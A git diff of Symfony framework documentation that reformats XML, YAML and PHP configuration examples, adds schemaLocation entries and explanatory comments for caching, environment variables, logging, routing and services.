     <container xmlns="http://symfony.com/schema/dic/services"
         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xmlns:acme-hello="http://acme_company.com/schema/dic/hello"
-        xsi:schemaLocation="http://acme_company.com/schema/dic/hello
+        xsi:schemaLocation="http://symfony.com/schema/dic/services
+            https://symfony.com/schema/dic/services/services-1.0.xsd
+            http://acme_company.com/schema/dic/hello
             https://acme_company.com/schema/dic/hello/hello-1.0.xsd">
 
         <acme-hello:config>
diff --git a/bundles/prepend_extension.rst b/bundles/prepend_extension.rst
index 923796fc42e..5c32d206629 100644
--- a/bundles/prepend_extension.rst
+++ b/bundles/prepend_extension.rst
@@ -122,9 +122,14 @@ The above would be the equivalent of writing the following into the
             xmlns:acme-something="http://example.org/schema/dic/acme_something"
             xmlns:acme-other="http://example.org/schema/dic/acme_other"
             xsi:schemaLocation="http://symfony.com/schema/dic/services
-                https://symfony.com/schema/dic/services/services-1.0.xsd">
+                https://symfony.com/schema/dic/services/services-1.0.xsd
+                http://example.org/schema/dic/acme_something
+                https://example.org/schema/dic/acme_something/acme_something-1.0.xsd
+                http://example.org/schema/dic/acme_other
+                https://example.org/schema/dic/acme_something/acme_other-1.0.xsd">
 
             <acme-something:config use-acme-goodbye="false">
+                <!-- ... -->
                 <acme-something:entity-manager-name>non_default</acme-something:entity-manager-name>
             </acme-something:config>
 
diff --git a/cache.rst b/cache.rst
index 9912b879e93..c10c90f4e51 100644
--- a/cache.rst
+++ b/cache.rst
@@ -65,7 +65,9 @@ adapter (template) they use by using the ``app`` and ``system`` key like:
             xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
             xmlns:framework="http://symfony.com/schema/dic/symfony"
             xsi:schemaLocation="http://symfony.com/schema/dic/services
-                https://symfony.com/schema/dic/services/services-1.0.xsd">
+                https://symfony.com/schema/dic/services/services-1.0.xsd
+                http://symfony.com/schema/dic/symfony
+                https://symfony.com/schema/dic/symfony/symfony-1.0.xsd">
 
             <framework:config>
                 <framework:cache app="cache.adapter.filesystem"
@@ -133,7 +135,9 @@ will create pool with service id of ``cache.[type]``
             xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
             xmlns:framework="http://symfony.com/schema/dic/symfony"
             xsi:schemaLocation="http://symfony.com/schema/dic/services
-                https://symfony.com/schema/dic/services/services-1.0.xsd">
+                https://symfony.com/schema/dic/services/services-1.0.xsd
+                http://symfony.com/schema/dic/symfony
+                https://symfony.com/schema/dic/symfony/symfony-1.0.xsd">
 
             <framework:config>
                 <!--
@@ -143,6 +147,7 @@ will create pool with service id of ``cache.[type]``
                 default_memcached_provider: Service: cache.memcached
                 default_pdo_provider: Service: cache.pdo
                 -->
+                <!-- "directory" attribute is only used with cache.adapter.filesystem -->
                 <framework:cache directory="%kernel.cache_dir%/pools"
                     default_doctrine_provider="app.doctrine_cache"
                     default_psr6_provider="app.my_psr6_service"
@@ -204,7 +209,9 @@ You can also create more customized pools. All you need is an adapter:
             xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
             xmlns:framework="http://symfony.com/schema/dic/symfony"
             xsi:schemaLocation="http://symfony.com/schema/dic/services
-                https://symfony.com/schema/dic/services/services-1.0.xsd">
+                https://symfony.com/schema/dic/services/services-1.0.xsd
+                http://symfony.com/schema/dic/symfony
+                https://symfony.com/schema/dic/symfony/symfony-1.0.xsd">
 
             <framework:config>
                 <framework:cache default_memcached_provider="memcached://localhost">
@@ -276,7 +283,9 @@ For advanced configurations it could sometimes be useful to use a pool as an ada
             xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
             xmlns:framework="http://symfony.com/schema/dic/symfony"
             xsi:schemaLocation="http://symfony.com/schema/dic/services
-                https://symfony.com/schema/dic/services/services-1.0.xsd">
+                https://symfony.com/schema/dic/services/services-1.0.xsd
+                http://symfony.com/schema/dic/symfony
+                https://symfony.com/schema/dic/symfony/symfony-1.0.xsd">
 
             <framework:config>
                 <framework:cache app="my_cache_pool">
@@ -354,7 +363,9 @@ and use that when configuring the pool.
             xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
             xmlns:framework="http://symfony.com/schema/dic/symfony"
             xsi:schemaLocation="http://symfony.com/schema/dic/services
-                https://symfony.com/schema/dic/services/services-1.0.xsd">
+                https://symfony.com/schema/dic/services/services-1.0.xsd
+                http://symfony.com/schema/dic/symfony
+                https://symfony.com/schema/dic/symfony/symfony-1.0.xsd">
 
             <framework:config>
                 <framework:cache>
@@ -364,6 +375,7 @@ and use that when configuring the pool.
 
             <services>
                 <service id="app.my_custom_redis_provider" class="\Redis">
+                    <factory class="Symfony\Component\Cache\Adapter\RedisAdapter" method="createConnection"/>
                     <argument>redis://localhost</argument>
                     <argument type="collection">
                         <argument key="retry_interval">2</argument>
@@ -376,6 +388,8 @@ and use that when configuring the pool.
     .. code-block:: php
 
         // app/config/config.php
+        use Symfony\Component\Cache\Adapter\RedisAdapter;
+
         $container->loadFromExtension('framework', [
             'cache' => [
                 'pools' => [
@@ -387,12 +401,14 @@ and use that when configuring the pool.
             ],
         ]);
 
-        $container->getDefinition('app.my_custom_redis_provider', \Redis::class)
+        $container->register('app.my_custom_redis_provider', \Redis::class)
+            ->setFactory([RedisAdapter::class, 'createConnection'])
             ->addArgument('redis://localhost')
             ->addArgument([
                 'retry_interval' => 2,
                 'timeout' => 10
-            ]);
+            ])
+        ;
 
 Creating a Cache Chain
 ----------------------
@@ -448,7 +464,9 @@ Symfony stores the item automatically in all the missing pools.
             xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
             xmlns:framework="http://symfony.com/schema/dic/symfony"
             xsi:schemaLocation="http://symfony.com/schema/dic/services
-                https://symfony.com/schema/dic/services/services-1.0.xsd">
+                https://symfony.com/schema/dic/services/services-1.0.xsd
+                http://symfony.com/schema/dic/symfony
+                https://symfony.com/schema/dic/symfony/symfony-1.0.xsd">
 
             <framework:config>
                 <framework:cache>
@@ -474,6 +492,9 @@ Symfony stores the item automatically in all the missing pools.
     .. code-block:: php
 
         // app/config/config.php
+        use Symfony\Component\Cache\Adapter\ChainAdapter;
+        use Symfony\Component\DependencyInjection\Reference;
+
         $container->loadFromExtension('framework', [
             'cache' => [
                 'pools' => [
@@ -495,13 +516,14 @@ Symfony stores the item automatically in all the missing pools.
             ],
         ]);
 
-        $container->getDefinition('app.my_cache_chain_adapter', \Symfony\Component\Cache\Adapter\ChainAdapter::class)
+        $container->register('app.my_cache_chain_adapter', ChainAdapter::class)
             ->addArgument([
                 new Reference('cache.array'),
                 new Reference('cache.apcu'),
                 new Reference('cache.my_redis'),
             ])
-            ->addArgument(31536000);
+            ->addArgument(31536000)
+        ;
 
 .. note::
 
diff --git a/configuration.rst b/configuration.rst
index 49b5589cee8..f089e89dc25 100644
--- a/configuration.rst
+++ b/configuration.rst
@@ -84,7 +84,7 @@ The main configuration file is called ``config.yml``:
 
         // Twig Configuration
         $container->loadFromExtension('twig', [
-            'debug'            => '%kernel.debug%',
+            'debug' => '%kernel.debug%',
             'strict_variables' => '%kernel.debug%',
         ]);
 
@@ -196,14 +196,8 @@ can also load XML files or PHP files.
             <?xml version="1.0" encoding="UTF-8" ?>
             <container xmlns="http://symfony.com/schema/dic/services"
                 xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
-                xmlns:framework="http://symfony.com/schema/dic/symfony"
-                xmlns:twig="http://symfony.com/schema/dic/twig"
                 xsi:schemaLocation="http://symfony.com/schema/dic/services
-                    https://symfony.com/schema/dic/services/services-1.0.xsd
-                    http://symfony.com/schema/dic/symfony
-                    https://symfony.com/schema/dic/symfony/symfony-1.0.xsd
-                    http://symfony.com/schema/dic/twig
-                    https://symfony.com/schema/dic/twig/twig-1.0.xsd">
+                    https://symfony.com/schema/dic/services/services-1.0.xsd">
 
                 <imports>
                     <import resource="parameters.res" type="yml"/>
diff --git a/configuration/environments.rst b/configuration/environments.rst
index 2d78e6c56da..9fb3a6712bb 100644
--- a/configuration/environments.rst
+++ b/configuration/environments.rst
@@ -231,6 +231,7 @@ this code and changing the environment string.
 
                 <doctrine:dbal logging="%kernel.debug%"/>
 
+                <!-- ... ->
             </container>
 
         .. code-block:: php
@@ -240,7 +241,6 @@ this code and changing the environment string.
                     'logging'  => '%kernel.debug%',
                     // ...
                 ],
-                // ...
             ]);
 
 Selecting the Environment for Console Commands
diff --git a/configuration/external_parameters.rst b/configuration/external_parameters.rst
index 367ec2bc331..3a8cd5ffd3e 100644
--- a/configuration/external_parameters.rst
+++ b/configuration/external_parameters.rst
@@ -47,9 +47,7 @@ variable in your service container configuration, you can reference it using
                 https://symfony.com/schema/dic/doctrine/doctrine-1.0.xsd">
 
             <doctrine:config>
-                <doctrine:dbal
-                    host="%env(DATABASE_HOST)%"
-                />
+                <doctrine:dbal host="%env(DATABASE_HOST)%"/>
             </doctrine:config>
 
         </container>
@@ -81,7 +79,8 @@ will be used whenever the corresponding environment variable is *not* found:
         <?xml version="1.0" encoding="UTF-8" ?>
         <container xmlns="http://symfony.com/schema/dic/services"
             xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
-            xsi:schemaLocation="http://symfony.com/schema/dic/services https://symfony.com/schema/dic/services/services-1.0.xsd">
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd">
 
             <parameters>
                 <parameter key="database_host">%env(DATABASE_HOST)%</parameter>
@@ -160,7 +159,7 @@ turn the value of the ``HTTP_PORT`` env var into an integer:
         # app/config/config.yml
         framework:
             router:
-                http_port: env(int:HTTP_PORT)
+                http_port: '%env(int:HTTP_PORT)%'
 
     .. code-block:: xml
 
@@ -379,7 +378,7 @@ Symfony provides the following env var processors:
             parameters:
                 env(HOST): '10.0.0.1'
                 sentry_host: '%env(HOST)%'
-                env(SENTRY_DSN): 'http://%sentry_host%/project'
+                env(SENTRY_DSN): 'https://%sentry_host%/project'
             sentry:
                 dsn: '%env(resolve:SENTRY_DSN)%'
 
@@ -388,6 +387,7 @@ Symfony provides the following env var processors:
             <!-- app/config/config.xml -->
             <?xml version="1.0" encoding="UTF-8" ?>
             <container xmlns="http://symfony.com/schema/dic/services"
+                xmlns:sentry="http://symfony.com/schema/dic/sentry"
                 xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
                 xsi:schemaLocation="http://symfony.com/schema/dic/services
                     https://symfony.com/schema/dic/services/services-1.0.xsd">
@@ -395,7 +395,7 @@ Symfony provides the following env var processors:
                 <parameters>
                     <parameter key="env(HOST)">10.0.0.1</parameter>
                     <parameter key="sentry_host">%env(HOST)%</parameter>
-                    <parameter key="env(SENTRY_DSN)">http://%sentry_host%/project</parameter>
+                    <parameter key="env(SENTRY_DSN)">https://%sentry_host%/project</parameter>
                 </parameters>
 
                 <sentry:config dsn="%env(resolve:SENTRY_DSN)%"/>
@@ -406,7 +406,7 @@ Symfony provides the following env var processors:
             // app/config/config.php
             $container->setParameter('env(HOST)', '10.0.0.1');
             $container->setParameter('sentry_host', '%env(HOST)%');
-            $container->setParameter('env(SENTRY_DSN)', 'http://%sentry_host%/project');
+            $container->setParameter('env(SENTRY_DSN)', 'https://%sentry_host%/project');
             $container->loadFromExtension('sentry', [
                 'dsn' => '%env(resolve:SENTRY_DSN)%',
             ]);
@@ -420,9 +420,12 @@ Symfony provides the following env var processors:
 
             # app/config/config.yml
             parameters:
-                env(AUTH_FILE): '../config/auth.json'
-            google:
-                auth: '%env(file:AUTH_FILE)%'
+                env(AUTH_FILE): '../auth.json'
+
+            services:
+                some_authenticator:
+                    arguments:
+                        $auth: '%env(file:AUTH_FILE)%'
 
         .. code-block:: xml
 
@@ -430,26 +433,30 @@ Symfony provides the following env var processors:
             <?xml version="1.0" encoding="UTF-8" ?>
             <container xmlns="http://symfony.com/schema/dic/services"
                 xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
-                xmlns:framework="http://symfony.com/schema/dic/symfony"
                 xsi:schemaLocation="http://symfony.com/schema/dic/services
                     https://symfony.com/schema/dic/services/services-1.0.xsd
                     http://symfony.com/schema/dic/symfony
                     https://symfony.com/schema/dic/symfony/symfony-1.0.xsd">
 
                 <parameters>
-                    <parameter key="env(AUTH_FILE)">../config/auth.json</parameter>
+                    <parameter key="env(AUTH_FILE)">../auth.json</parameter>
                 </parameters>
 
-                <google auth="%env(file:AUTH_FILE)%"/>
+                <services>
+                    <service id="some_authenticator">
+                        <argument key="$auth">"%env(file:AUTH_FILE)%"<argument/>
+                    <service>
+                </services>
             </container>
 
         .. code-block:: php
 
             // app/config/config.php
-            $container->setParameter('env(AUTH_FILE)', '../config/auth.json');
-            $container->loadFromExtension('google', [
-                'auth' => '%env(file:AUTH_FILE)%',
-            ]);
+            $container->setParameter('env(AUTH_FILE)', __DIR__.'/../auth.json');
+
+            $container->register('some_authenticator')
+                ->setArgument('$auth', '%env(file:AUTH_FILE)%')
+            ;
 
 It is also possible to combine any number of processors:
 
@@ -457,12 +464,15 @@ It is also possible to combine any number of processors:
 
     parameters:
         env(AUTH_FILE): "%kernel.project_dir%/config/auth.json"
-    google:
-        # 1. gets the value of the AUTH_FILE env var
-        # 2. replaces the values of any config param to get the config path
-        # 3. gets the content of the file stored in that path
-        # 4. JSON-decodes the content of the file and returns it
-        auth: '%env(json:file:resolve:AUTH_FILE)%'
+
+    services:
+        some_authenticator:
+            arguments:
+                # 1. gets the value of the AUTH_FILE env var
+                # 2. replaces the values of any config param to get the config path
+                # 3. gets the content of the file stored in that path
+                # 4. JSON-decodes the content of the file and returns it
+                $auth: '%env(json:file:resolve:AUTH_FILE)%'
 
 Custom Environment Variable Processors
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
@@ -550,3 +560,4 @@ the Symfony service container::
     // app/config/parameters.php
     include_once('/path/to/drupal/sites/default/settings.php');
     $container->setParameter('drupal.database.url', $db_url);
+
diff --git a/configuration/using_parameters_in_dic.rst b/configuration/using_parameters_in_dic.rst
index 13a179d1133..f39bf1726d2 100644
--- a/configuration/using_parameters_in_dic.rst
+++ b/configuration/using_parameters_in_dic.rst
@@ -51,7 +51,11 @@ Now, examine the results to see this closely:
 
         <?xml version="1.0" encoding="UTF-8" ?>
         <container xmlns="http://symfony.com/schema/dic/services"
-            xmlns:my-bundle="http://example.org/schema/dic/my_bundle">
+            xmlns:my-bundle="http://example.org/schema/dic/my_bundle"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd
+                http://example.org/schema/dic/my_bundle
+                https://example.org/schema/dic/my_bundle/my_bundle-1.0.xsd">
 
             <my-bundle:config logging="true"/>
             <!-- true, as expected -->
diff --git a/console/commands_as_services.rst b/console/commands_as_services.rst
index 30ba7265f23..394fdc26a3a 100644
--- a/console/commands_as_services.rst
+++ b/console/commands_as_services.rst
@@ -96,20 +96,22 @@ Or set the ``command`` attribute on the ``console.command`` tag in your service
     .. code-block:: yaml
 
         services:
+            # ...
 
             AppBundle\Command\SunshineCommand:
                 tags:
                     - { name: 'console.command', command: 'app:sunshine' }
-                # ...
 
     .. code-block:: xml
 
         <?xml version="1.0" encoding="UTF-8" ?>
         <container xmlns="http://symfony.com/schema/dic/services"
             xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
-            xsi:schemaLocation="http://symfony.com/schema/dic/services https://symfony.com/schema/dic/services/services-1.0.xsd">
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd">
 
             <services>
+                <!-- ... -->
 
                 <service id="AppBundle\Command\SunshineCommand">
                     <tag name="console.command" command="app:sunshine"/>
@@ -124,8 +126,7 @@ Or set the ``command`` attribute on the ``console.command`` tag in your service
 
         // ...
 
-        $container
-            ->register(SunshineCommand::class)
+        $container->register(SunshineCommand::class)
             ->addTag('console.command', ['command' => 'app:sunshine'])
         ;
 
diff --git a/console/input.rst b/console/input.rst
index c9d934ff725..b05f4d7bfac 100644
--- a/console/input.rst
+++ b/console/input.rst
@@ -74,7 +74,8 @@ to greet all your friends). Only the last argument can be a list::
             'names',
             InputArgument::IS_ARRAY,
             'Who do you want to greet (separate multiple names with a space)?'
-        );
+        )
+    ;
 
 To use this, just specify as many names as you want:
 
@@ -111,7 +112,8 @@ You can combine ``IS_ARRAY`` with ``REQUIRED`` and ``OPTIONAL`` like this::
             'names',
             InputArgument::IS_ARRAY | InputArgument::REQUIRED,
             'Who do you want to greet (separate multiple names with a space)?'
-        );
+        )
+    ;
 
 Using Command Options
 ---------------------
@@ -135,7 +137,8 @@ how many times in a row the message should be printed::
             InputOption::VALUE_REQUIRED,
             'How many times should the message be printed?',
             1
-        );
+        )
+    ;
 
 Next, use this in the command to print the message multiple times::
 
@@ -177,7 +180,8 @@ flag:
                 InputOption::VALUE_REQUIRED,
                 'How many times should the message be printed?',
                 1
-            );
+            )
+        ;
 
 Note that to comply with the `docopt standard`_, long options can specify their
 values after a white space or an ``=`` sign (e.g. ``--iterations 5`` or
@@ -221,7 +225,8 @@ You can combine ``VALUE_IS_ARRAY`` with ``VALUE_REQUIRED`` or
             InputOption::VALUE_REQUIRED | InputOption::VALUE_IS_ARRAY,
             'Which colors do you like?',
             ['blue', 'red']
-        );
+        )
+    ;
 
 Options with optional arguments
 -------------------------------
@@ -239,7 +244,8 @@ optionally accepts a value, but it's a bit tricky. Consider this example::
             null,
             InputOption::VALUE_OPTIONAL,
             'Should I yell while greeting?'
-        );
+        )
+    ;
 
 This option can be used in 3 ways: ``--yell``, ``yell=louder``, and not passing
 the option at all. However, it's hard to distinguish between passing the option
@@ -258,7 +264,8 @@ To solve this issue, you have to set the option's default value to ``false``::
             InputOption::VALUE_OPTIONAL,
             'Should I yell while greeting?',
             false // this is the new default value, instead of null
-        );
+        )
+    ;
 
 Now check the value of the option and keep in mind that ``false !== null``::
 
diff --git a/controller.rst b/controller.rst
index c035f192507..9cbb20101cc 100644
--- a/controller.rst
+++ b/controller.rst
@@ -295,7 +295,7 @@ the argument by its name:
 
             # explicitly configure the service
             AppBundle\Controller\LuckyController:
-                public: true
+                tags: [controller.service_arguments]
                 bind:
                     # for any $logger argument, pass this specific service
                     $logger: '@monolog.logger.doctrine'
@@ -313,7 +313,8 @@ the argument by its name:
                 <!-- ... -->
 
                 <!-- Explicitly configure the service -->
-                <service id="AppBundle\Controller\LuckyController" public="true">
+                <service id="AppBundle\Controller\LuckyController">
+                    <tag name"controller.service_arguments"/>
                     <bind key="$logger"
                         type="service"
                         id="monolog.logger.doctrine"
@@ -329,7 +330,7 @@ the argument by its name:
         use Symfony\Component\DependencyInjection\Reference;
 
         $container->register(LuckyController::class)
-            ->setPublic(true)
+            ->addTag('controller.service_arguments')
             ->setBindings([
                 '$logger' => new Reference('monolog.logger.doctrine'),
             ])
@@ -341,7 +342,7 @@ in your controllers.
 .. caution::
 
     You can *only* pass *services* to your controller arguments in this way. It's not
-    possible, for example, to pass a service parameter as a controller argument,
+    possible, for example, to pass a config parameter as a controller argument,
     even by using ``bind``. If you need a parameter, use the ``$this->getParameter('kernel.debug')``
     shortcut or pass the value through your controller's ``__construct()`` method
     and specify its value with ``bind``.
diff --git a/controller/argument_value_resolver.rst b/controller/argument_value_resolver.rst
index 61239377dcb..70f0ea58610 100644
--- a/controller/argument_value_resolver.rst
+++ b/controller/argument_value_resolver.rst
@@ -101,7 +101,9 @@ type-hinted method arguments:
             xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
             xmlns:sensio-framework-extra="http://symfony.com/schema/dic/symfony_extra"
             xsi:schemaLocation="http://symfony.com/schema/dic/services
-                https://symfony.com/schema/dic/services/services-1.0.xsd">
+                https://symfony.com/schema/dic/services/services-1.0.xsd
+                http://symfony.com/schema/dic/symfony_extra
+                https://symfony.com/schema/dic/symfony_extra/symfony_extra-1.0.xsd">
 
             <sensio-framework-extra:config>
                 <request converters="true" auto-convert="false"/>
@@ -191,12 +193,8 @@ and adding a priority.
 
         # app/config/services.yml
         services:
-            _defaults:
-                # ... be sure autowiring is enabled
-                autowire: true
-            # ...
-
             AppBundle\ArgumentResolver\UserValueResolver:
+                autowire: true
                 tags:
                     - { name: controller.argument_value_resolver, priority: 50 }
 
@@ -206,14 +204,11 @@ and adding a priority.
         <?xml version="1.0" encoding="UTF-8" ?>
         <container xmlns="http://symfony.com/schema/dic/services"
             xmlns:xsi="http://www.w3.org/2001/XMLSchema-Instance"
-            xsi:schemaLocation="http://symfony.com/schema/dic/services https://symfony.com/schema/dic/services/services-1.0.xsd">
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd">
 
             <services>
-                <!-- ... be sure autowiring is enabled -->
-                <defaults autowire="true"/>
-                <!-- ... -->
-
-                <service id="AppBundle\ArgumentResolver\UserValueResolver">
+                <service id="AppBundle\ArgumentResolver\UserValueResolver" autowire="true">
                     <tag name="controller.argument_value_resolver" priority="50"/>
                 </service>
             </services>
@@ -226,7 +221,8 @@ and adding a priority.
         use AppBundle\ArgumentResolver\UserValueResolver;
 
         $container->autowire(UserValueResolver::class)
-            ->addTag('controller.argument_value_resolver', ['priority' => 50]);
+            ->addTag('controller.argument_value_resolver', ['priority' => 50])
+        ;
 
 While adding a priority is optional, it's recommended to add one to make sure
 the expected value is injected. The ``RequestAttributeValueResolver`` has a
diff --git a/doctrine.rst b/doctrine.rst
index cb1a77ba304..79efbebbd58 100644
--- a/doctrine.rst
+++ b/doctrine.rst
@@ -102,10 +102,10 @@ information. By convention, this information is usually configured in an
             // app/config/config.php
             $container->loadFromExtension('doctrine', [
                 'dbal' => [
-                    'driver'   => 'pdo_mysql',
-                    'host'     => '%database_host%',
-                    'dbname'   => '%database_name%',
-                    'user'     => '%database_user%',
+                    'driver' => 'pdo_mysql',
+                    'host' => '%database_host%',
+                    'dbname' => '%database_name%',
+                    'user' => '%database_user%',
                     'password' => '%database_password%',
                 ],
             ]);
@@ -250,8 +250,8 @@ can automatically generate an empty ``test_project`` database for you:
             // app/config/config.php
             $container->loadFromExtension('doctrine', [
                 'dbal' => [
-                    'driver'  => 'pdo_sqlite',
-                    'path'    => '%kernel.project_dir%/app/sqlite.db',
+                    'driver' => 'pdo_sqlite',
+                    'path' => '%kernel.project_dir%/app/sqlite.db',
                     'charset' => 'UTF-8',
                 ],
             ]);
diff --git a/email.rst b/email.rst
index 0e60f8b520f..35795e83dc2 100644
--- a/email.rst
+++ b/email.rst
@@ -47,7 +47,8 @@ already included:
             xmlns:swiftmailer="http://symfony.com/schema/dic/swiftmailer"
             xsi:schemaLocation="http://symfony.com/schema/dic/services
                 https://symfony.com/schema/dic/services/services-1.0.xsd
-                http://symfony.com/schema/dic/swiftmailer https://symfony.com/schema/dic/swiftmailer/swiftmailer-1.0.xsd">
+                http://symfony.com/schema/dic/swiftmailer
+                https://symfony.com/schema/dic/swiftmailer/swiftmailer-1.0.xsd">
 
             <swiftmailer:config
                 transport="%mailer_transport%"
diff --git a/event_dispatcher.rst b/event_dispatcher.rst
index ebbb2bcecac..b7835fa778b 100644
--- a/event_dispatcher.rst
+++ b/event_dispatcher.rst
@@ -102,8 +102,7 @@ using a special "tag":
         // app/config/services.php
         use AppBundle\EventListener\ExceptionListener;
 
-        $container
-            ->autowire(ExceptionListener::class)
+        $container->register(ExceptionListener::class)
             ->addTag('kernel.event_listener', ['event' => 'kernel.exception'])
         ;
 
diff --git a/logging.rst b/logging.rst
index af5b72f2ba9..5663fd83921 100644
--- a/logging.rst
+++ b/logging.rst
@@ -130,17 +130,15 @@ to write logs using the :phpfunction:`syslog` function:
                 https://symfony.com/schema/dic/monolog/monolog-1.0.xsd">
 
             <monolog:config>
-                <monolog:handler
-                    name="file_log"
+                <!-- this "file_log" key could be anything -->
+                <monolog:handler name="file_log"
                     type="stream"
                     path="%kernel.logs_dir%/%kernel.environment%.log"
-                    level="debug"
-                />
-                <monolog:handler
-                    name="syslog_handler"
+                    level="debug"/><!-- log *all* messages (debug is lowest level) -->
+
+                <monolog:handler name="syslog_handler"
                     type="syslog"
-                    level="error"
-                />
+                    level="error"/><!-- log error-level messages and higher -->
             </monolog:config>
         </container>
 
@@ -149,13 +147,17 @@ to write logs using the :phpfunction:`syslog` function:
         // app/config/config.php
         $container->loadFromExtension('monolog', [
             'handlers' => [
+                // this "file_log" key could be anything
                 'file_log' => [
                     'type'  => 'stream',
+                    // log to var/logs/(environment).log
                     'path'  => '%kernel.logs_dir%/%kernel.environment%.log',
+                    // log *all* messages (debug is lowest level)
                     'level' => 'debug',
                 ],
                 'syslog_handler' => [
                     'type'  => 'syslog',
+                    // log error-level messages and higher
                     'level' => 'error',
                 ],
             ],
@@ -209,20 +211,22 @@ one of the messages reaches an ``action_level``. Take this example:
                 https://symfony.com/schema/dic/monolog/monolog-1.0.xsd">
 
             <monolog:config>
-                <monolog:handler
-                    name="filter_for_errors"
+                <!-- if *one* log is error or higher, pass *all* to file_log -->
+                <monolog:handler name="filter_for_errors"
                     type="fingers_crossed"
                     action-level="error"
                     handler="file_log"
                 />
-                <monolog:handler
-                    name="file_log"
+
+                <!-- now passed *all* logs, but only if one log is error or higher -->
+                <monolog:handler name="file_log"
                     type="stream"
                     path="%kernel.logs_dir%/%kernel.environment%.log"
                     level="debug"
                 />
-                <monolog:handler
-                    name="syslog_handler"
+
+                <!-- still passed *all* logs, and still only logs error or higher -->
+                <monolog:handler name="syslog_handler"
                     type="syslog"
                     level="error"
                 />
@@ -236,14 +240,19 @@ one of the messages reaches an ``action_level``. Take this example:
             'handlers' => [
                 'filter_for_errors' => [
                     'type'         => 'fingers_crossed',
+                    // if *one* log is error or higher, pass *all* to file_log
                     'action_level' => 'error',
                     'handler'      => 'file_log',
                 ],
+
+                // now passed *all* logs, but only if one log is error or higher
                 'file_log' => [
                     'type'  => 'stream',
                     'path'  => '%kernel.logs_dir%/%kernel.environment%.log',
                     'level' => 'debug',
                 ],
+
+                // still passed *all* logs, and still only logs error or higher
                 'syslog_handler' => [
                     'type'  => 'syslog',
                     'level' => 'error',
diff --git a/routing.rst b/routing.rst
index 74597a3b6e3..cd271898bce 100644
--- a/routing.rst
+++ b/routing.rst
@@ -100,8 +100,8 @@ the same features and performance, so choose the one you prefer:
                 <default key="_controller">AppBundle:Blog:list</default>
             </route>
 
-            <!-- Matches /blog/* -->
-            <!-- but not /blog/slug/extra-part -->
+            <!-- Matches /blog/*
+                 but not /blog/slug/extra-part -->
             <route id="blog_show" path="/blog/{slug}">
                 <default key="_controller">AppBundle:Blog:show</default>
             </route>
@@ -119,7 +119,7 @@ the same features and performance, so choose the one you prefer:
             '_controller' => 'AppBundle:Blog:list',
         ]));
         // Matches /blog/*
-            // but not /blog/slug/extra-part
+        // but not /blog/slug/extra-part
         $routes->add('blog_show', new Route('/blog/{slug}', [
             '_controller' => 'AppBundle:Blog:show',
         ]));
@@ -253,8 +253,10 @@ To fix this, add a *requirement* that the ``{page}`` wildcard can *only* match n
 
         $routes = new RouteCollection();
         $routes->add('blog_list', new Route('/blog/{page}', [
+            // defaults
             '_controller' => 'AppBundle:Blog:list',
         ], [
+            // requirements
             'page' => '\d+'
         ]));
 
@@ -347,10 +349,12 @@ So how can you make ``blog_list`` once again match when the user visits
         $routes->add('blog_list', new Route(
             '/blog/{page}',
             [
+                // defaults
                 '_controller' => 'AppBundle:Blog:list',
                 'page'        => 1,
             ],
             [
+                // requirements
                 'page' => '\d+'
             ]
         ));
@@ -440,9 +444,11 @@ With all of this in mind, check out this advanced example:
         $routes->add(
             'article_show',
             new Route('/articles/{_locale}/{year}/{slug}.{_format}', [
+                // defaults
                 '_controller' => 'AppBundle:Article:show',
                 '_format'     => 'html',
             ], [
+                // requirements
                 '_locale' => 'en|fr',
                 '_format' => 'html|rss',
                 'year'    => '\d+',
diff --git a/service_container.rst b/service_container.rst
index 0513559aaf9..b0298073182 100644
--- a/service_container.rst
+++ b/service_container.rst
@@ -210,11 +210,13 @@ each time you ask for it.
                     https://symfony.com/schema/dic/services/services-1.0.xsd">
 
                 <services>
-                    <!-- Default configuration for services in *this* file -->
+                    <!-- default configuration for services in *this* file -->
                     <defaults autowire="true" autoconfigure="true" public="false"/>
 
-                    <!-- Load services from whatever directories you want (you can update this!) -->
-                    <prototype namespace="AppBundle\" resource="../../src/AppBundle/*" exclude="../../src/AppBundle/{Entity,Repository}"/>
+                    <!-- makes classes in src/AppBundle available to be used as services -->
+                    <prototype namespace="AppBundle\"
+                        resource="../../src/AppBundle/*"
+                        exclude="../../src/AppBundle/{Entity,Repository}"/>
                 </services>
             </container>
 
@@ -223,17 +225,23 @@ each time you ask for it.
             // app/config/services.php
             use Symfony\Component\DependencyInjection\Definition;
 
-            // To use as default template
-            $definition = new Definition();
-
-            $definition
+            // To use as default configuration for services in *this* file
+            $defaults = new Definition();
+            $defaults
                 ->setAutowired(true)
                 ->setAutoconfigured(true)
                 ->setPublic(false)
             ;
 
             // $this is a reference to the current loader
-            $this->registerClasses($definition, 'AppBundle\\', '../../src/AppBundle/*', '../../src/AppBundle/{Entity,Repository}');
+            $this->registerClasses(
+                $defaults,
+                // makes classes in src/AppBundle available to be used as services
+                'AppBundle\\',
+                '../../src/AppBundle/*',
+                // excludes some directory or files
+                '../../src/AppBundle/{Entity,Repository}'
+            );
 
     .. tip::
 
@@ -457,9 +465,8 @@ pass here. No problem! In your configuration, you can explicitly set this argume
 
         # app/config/services.yml
         services:
-            # ...
+            # ... same as before
 
-            # same as before
             AppBundle\:
                 resource: '../../src/AppBundle/*'
                 exclude: '../../src/AppBundle/{Entity,Repository}'
@@ -479,12 +486,13 @@ pass here. No problem! In your configuration, you can explicitly set this argume
                 https://symfony.com/schema/dic/services/services-1.0.xsd">
 
             <services>
